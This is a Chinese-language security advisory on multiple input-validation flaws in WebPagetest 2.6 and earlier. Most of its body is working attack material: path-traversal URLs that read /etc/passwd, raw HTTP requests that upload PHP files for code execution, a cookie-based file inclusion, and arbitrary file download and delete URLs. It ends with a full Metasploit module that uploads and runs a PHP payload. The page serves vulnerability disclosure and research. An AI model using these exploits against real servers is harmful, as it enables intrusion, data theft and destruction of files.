安全研究

安全漏洞
WebPagetest多个输入验证漏洞

发布日期:2012-08-01
更新日期:2012-08-01

受影响系统:
WebPagetest WebPagetest <= 2.6
描述:
BUGTRAQ  ID: 54442

WebPagetest是一个免费网站速度测试工具。

WebPagetest 2.6及之前版本存在多个输入验证漏洞,攻击者可利用这些漏洞在受影响应用上下文环境中删除、上传、下载任意文件,获取本地敏感信息、在Web服务器进程中执行任意本地脚本。

<*来源:dun
  
  链接:http://www.tenable.com/plugins/index.php?view=single&id=62184
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#####################################################
# [ Local File Disclosure #1 ]
# PoC: http://www.example.com/gettext.php?file=../../../../../../../../../../../etc/passwd
#
# File: ./webpagetest/gettext.php (lines: 2-13)
#  ..cut..
  include('common.inc');                                         // 1
  $ok = false;

  if( isset($_GET['file']) && strlen($_GET['file']) )            // 2
  {
      $data = gz_file_get_contents("$testPath/{$_GET['file']}"); // 3
      if( $data !== false )
      {
          $ok = true;
          echo $data;                                            // 7 [LFD]
      }
  }
#  ..cut..
#
# File: ./webpagetest/common.inc (lines: 493-510)
#  ..cut..
  function gz_file_get_contents($file)
  {
      $data = null;

      $zip = gzopen("$file.gz", 'rb');
      if( $zip === false )
          $zip = gzopen($file, 'rb');                             // 4

      if( $zip !== false )
      {
          $data = gzread($zip, 10000000);                         // 5
          gzclose($zip);
      }
      else
          $data = false;

      return $data;                                               // 6
  }
#  ..cut..
#
#####################################################
# [ Local File Disclosure #2 ]
# PoC: http://www.example.com/gettcpdump.php?file=../../../../../../../../../etc/passwd
#
# File: ./webpagetest/gettcpdump.php (lines: 2-13)
#  ..cut..
  include('common.inc');                                            // 1
  $file = "$testPath/{$_GET['file']}";                              // 2

  if( isset($_GET['file']) && strlen($_GET['file']) && gz_is_file($file) ) // 3
  {
      header ("Content-type: application/octet-stream");
      gz_readfile_chunked($file);                                   // 5
  }
#  ..cut..
#
# File: ./webpagetest/common.inc (lines: 460-486, 586-590)
#  ..cut..
  function gz_readfile_chunked($filename, $retbytes = TRUE)
  {
      $buffer = '';
      $cnt =0;
      $handle = gzopen("$filename.gz", 'rb');
      if ($handle === false)
          $handle = gzopen($filename, 'rb');                        // 6
      if ($handle === false)
          return false;
      while (!gzeof($handle))
      {
          $buffer = gzread($handle, 1024 * 1024);  // 1MB at a time // 7
          echo $buffer;                                             // 8 [LFD]
#  ..cut..
      }
#  ..cut..
      return $status;
  }
#  ..cut..
  function gz_is_file($filename)
  {
      $ret = is_file("$filename.gz") || is_file($filename);         // 4
      return $ret;                                                  //
  }
#  ..cut..
#
#####################################################
# [ Local File Disclosure #3 ]
# PoC: http://www.example.com/getgzip.php?file=../../../../../../../../../etc/passwd
# It's a very similar case, as above.
#
#####################################################
# [ Arbitrary File Upload #1 ]
# File: ./webpagetest/work/resultimage.php (lines: 18-48)
#  ..cut..
  $locKey = $locations[$location]['key'];
  if( (!strlen($locKey) || !strcmp($key, $locKey)) || !strcmp($_SERVER['REMOTE_ADDR'], "127.0.0.1") )  // 1 true
  {
      if( isset($_FILES['file']) )                                                                     // 2
      {
          $fileName = $_FILES['file']['name'];                                                         // 3
          $path = './' . GetTestPath($id);                                                             // $path = './results/'
#  ..cut..
          logMsg(" Moving uploaded image '{$_FILES['file']['tmp_name']}' to '$path/$fileName'\n");
          move_uploaded_file($_FILES['file']['tmp_name'], "$path/$fileName");                          // 4 [AFU]
      }
      else
          logMsg(" no uploaded file attached");
  }
#  ..cut..
# PoC: http://www.example.com/work/resultimage.php
  POST /work/resultimage.php HTTP/1.1
  Host: www.example.com
  User-Agent: Mozilla/5.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: pl,en-us;q=0.7,en;q=0.3
  Accept-Encoding: gzip, deflate
  Connection: keep-alive
  Cache-Control: max-age=0
  Content-Type: multipart/form-data; boundary=---------------------------31101243933548
  Content-Length: 209
  -----------------------------31101243933548
  Content-Disposition: form-data; name="file"; filename="info.php"
  Content-Type: text/x-php

  <?php phpinfo(); ?>

  -----------------------------31101243933548--
# Uploaded file will be here: http://www.example.com/results/info.php
#
#####################################################
# [ Arbitrary File Upload #2 ]
# File: ./webpagetest/work/dopublish.php (lines: 2-31)
#  ..cut..
  require_once('../lib/pclzip.lib.php');                              // 1
  include '../common.inc';
  header('Content-type: text/plain');
  header("Cache-Control: no-cache, must-revalidate");
  header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
  set_time_limit(300);

  // make sure a file was uploaded
  if( isset($_FILES['file']) )                                        // 2
  {
      $fileName = $_FILES['file']['name'];                            // 3

      // create a new test id
      $today = new DateTime("now", new DateTimeZone('America/New_York'));
      $id = $today->format('ymd_') . md5(uniqid(rand(), true));       // 4

      $path = '../' . GetTestPath($id);                               // 5

      // create the folder for the test results
      if( !is_dir($path) )
          mkdir($path, 0777, true);
    
      // extract the zip file
      $archive = new PclZip($_FILES['file']['tmp_name']);             // 6
      $list = $archive->extract(PCLZIP_OPT_PATH, "$path/", PCLZIP_OPT_REMOVE_ALL_PATH); // 7 [AFU]
      if( !$list )
          unset($id);

      echo $id;
  }
#  ..cut..
# In this case, we need to create the zip archive, which contains our php file (info.php).
# While uploading, archive will be automatically unzipped to the appropriate folder.
# PoC: http://www.example.com/work/dopublish.php
  POST /work/dopublish.php HTTP/1.1
  Host: www.example.com
  User-Agent: Mozilla/5.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: pl,en-us;q=0.7,en;q=0.3
  Accept-Encoding: gzip, deflate
  Connection: keep-alive
  Content-Type: multipart/form-data; boundary=---------------------------4966737613931
  Content-Length: 214
  -----------------------------4966737613931
  Content-Disposition: form-data; name="file"; filename="info.zip"
  Content-Type: application/x-zip-compressed


  [zip file]

  -----------------------------4966737613931--
# After file uploading, script prints some string. For example: 120711_718a3a42e314a0cb740ee66b7b92b9ac.
# This means, uploaded and unzipped file is in folder /results/12/07/11/718a3a42e314a0cb740ee66b7b92b9ac/
# Uploaded file will be here: http://www.example.com/results/12/07/11/718a3a42e314a0cb740ee66b7b92b9ac/info.php
#
#####################################################
# [ Arbitrary File Upload #3 ] magic_quotes_gpc = Off;
# File: ./webpagetest/work/workdone.php (lines: 12-45)
#  ..cut..
  $id = $_REQUEST['id'];                                             // 1
#  ..cut..
  if( $_REQUEST['video'] )                                           // 2
  {
      logMsg("Video file $id received from $location");

      $dir = './' . GetVideoPath($id);                               // 3
      if( isset($_FILES['file']) )                                   // 4
      {
          $dest = $dir . '/video.mp4';                               // 5 $dest = ./results/video/../info.php%00/video.mp4
          move_uploaded_file($_FILES['file']['tmp_name'], $dest);    // 6 [AFU]
#  ..cut..
      }
  }
#  ..cut..
# PoC: http://www.example.com/work/workdone.php?video=1&id=../info.php%00
  POST /work/workdone.php?video=1&id=../info.php%00 HTTP/1.1
  Host: www.example.com
  User-Agent: Mozilla/5.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: pl,en-us;q=0.7,en;q=0.3
  Accept-Encoding: gzip, deflate
  Connection: keep-alive
  Content-Type: multipart/form-data; boundary=---------------------------187161971819895
  Content-Length: 211
  -----------------------------187161971819895
  Content-Disposition: form-data; name="file"; filename="info.php"
  Content-Type: text/x-php

  <?php phpinfo(); ?>

  -----------------------------187161971819895--
# Uploaded file will be here: http://www.example.com/results/info.php
#
#####################################################
# [ Local File Inclusion ] magic_quotes_gpc = Off;
# File: ./webpagetest/about.php (line: 20)
#  ..cut..
  include 'header.inc';                                             // 1
#  ..cut..
#
# File: ./webpagetest/header.inc (lines: 43-47)
#  ..cut..
           elseif(isset($_COOKIE["cfg"]))
               $testLoc = $_COOKIE["cfg"];                          // 2
            
           if( isset($testLoc) && strlen($testLoc) && is_file("./custom/$testLoc/headerAd.inc") ) // 3
               include("./custom/$testLoc/headerAd.inc");           // 4 [LFI]
#  ..cut..
#
# PoC: http://www.example.com/about.php
  GET /about.php HTTP/1.1
  Host: www.example.com
  User-Agent: Mozilla/5.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: pl,en-us;q=0.7,en;q=0.3
  Accept-Encoding: gzip, deflate
  Connection: keep-alive
  Cookie: cfg=../../../../../../../../../etc/passwd%00
#
#####################################################
# [ Arbitrary File Download #1 ] register_globals = On
# PoC: http://www.example.com/download.php?testPath=./relay/../../../../../../../../../etc/
# If the "relay" directory exists, the script will compress to a zip archive, all files in
# a directory that is set in testPath variable. Thereafter, zip archive will be sent to the browser.
#
#####################################################
# [ Arbitrary File Download #2 ] magic_quotes_gpc = Off;
# PoC: http://www.example.com/video/download.php?id=../../../../../../../../../../../etc/passwd%00
#
#####################################################
# [ Arbitrary File Delete ] register_globals = On
# PoC: http://www.example.com/delete.php?testPath=./relay/../../../../../../../../../etc/
# If the "relay" directory exists, then directory that is set in a variable testPath will be deleted.
#
### [ dun / 2012 ] #####################################################



##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "WebPageTest Arbitrary PHP File Upload",
      'Description'    => %q{
          This module exploits a vulnerability found in WebPageTest's Upload Feature. By
        default, the resultimage.php file does not verify the user-supplied item before
        saving it to disk, and then places this item in the web directory accessable by
        remote users.  This flaw can be abused to gain remote code execution.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'dun',    #Discovery, PoC
          'sinn3r'  #Metasploit
        ],
      'References'     =>
        [
          ['OSVDB', '83822'],
          ['EDB', '19790']
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00"
        },
      'DefaultOptions'  =>
        {
          'ExitFunction' => "none"
        },
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          ['WebPageTest v2.6 or older', {}]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Jul 13 2012",
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('TARGETURI', [true, 'The base path to WebPageTest', '/www/'])
        ], self.class)
  end


  def check
    peer = "#{rhost}:#{rport}"
    target_uri.path << '/' if target_uri.path[-1,1] != '/'
    base = File.dirname("#{target_uri.path}.")

    res1 = send_request_raw({'uri'=>"#{base}/index.php"})
    res2 = send_request_raw({'uri'=>"#{base}/work/resultimage.php"})

    if res1 and res1.body =~ /WebPagetest \- Website Performance and Optimization Test/ and
       res2 and res2.code == 200
      return Exploit::CheckCode::Vulnerable
    end

    return Exploit::CheckCode::Safe
  end


  def on_new_session(cli)
    if cli.type != "meterpreter"
      print_error("No automatic cleanup for you. Please manually remove: #{@target_path}")
      return
    end
    cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
    cli.fs.file.rm(@target_path)
    print_status("#{@target_path} removed")
  end


  def exploit
    peer = "#{rhost}:#{rport}"
    target_uri.path << '/' if target_uri.path[-1,1] != '/'
    base = File.dirname("#{target_uri.path}.")

    p = payload.encoded
    fname = "blah.php"
    data = Rex::MIME::Message.new
    data.add_part(
      "<?php #{p} ?>",                                   #Data is our payload
      'multipart/form-data',                             #Content Type
      nil,                                               #Transfer Encoding
      "form-data; name=\"file\"; filename=\"#{fname}\""  #Content Disposition
    )

    print_status("#{peer} - Uploading payload (#{p.length.to_s} bytes)...")
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => "#{base}/work/resultimage.php",
      'ctype'  => "multipart/form-data; boundary=#{data.bound}",
      'data'   => data.to_s
    })

    if not res
      print_error("#{peer} - No response from host")
      return
    end

    @target_path = "#{base}/results/#{fname}"
    print_status("#{peer} - Requesting #{@target_path}")
    res = send_request_cgi({'uri'=>@target_path})

    handler

    if res and res.code == 404
      print_error("#{peer} - Payload failed to upload")
    end
  end
end

建议:
厂商补丁:

WebPagetest
-----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

www.webpagetest.org

浏览次数:3243
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障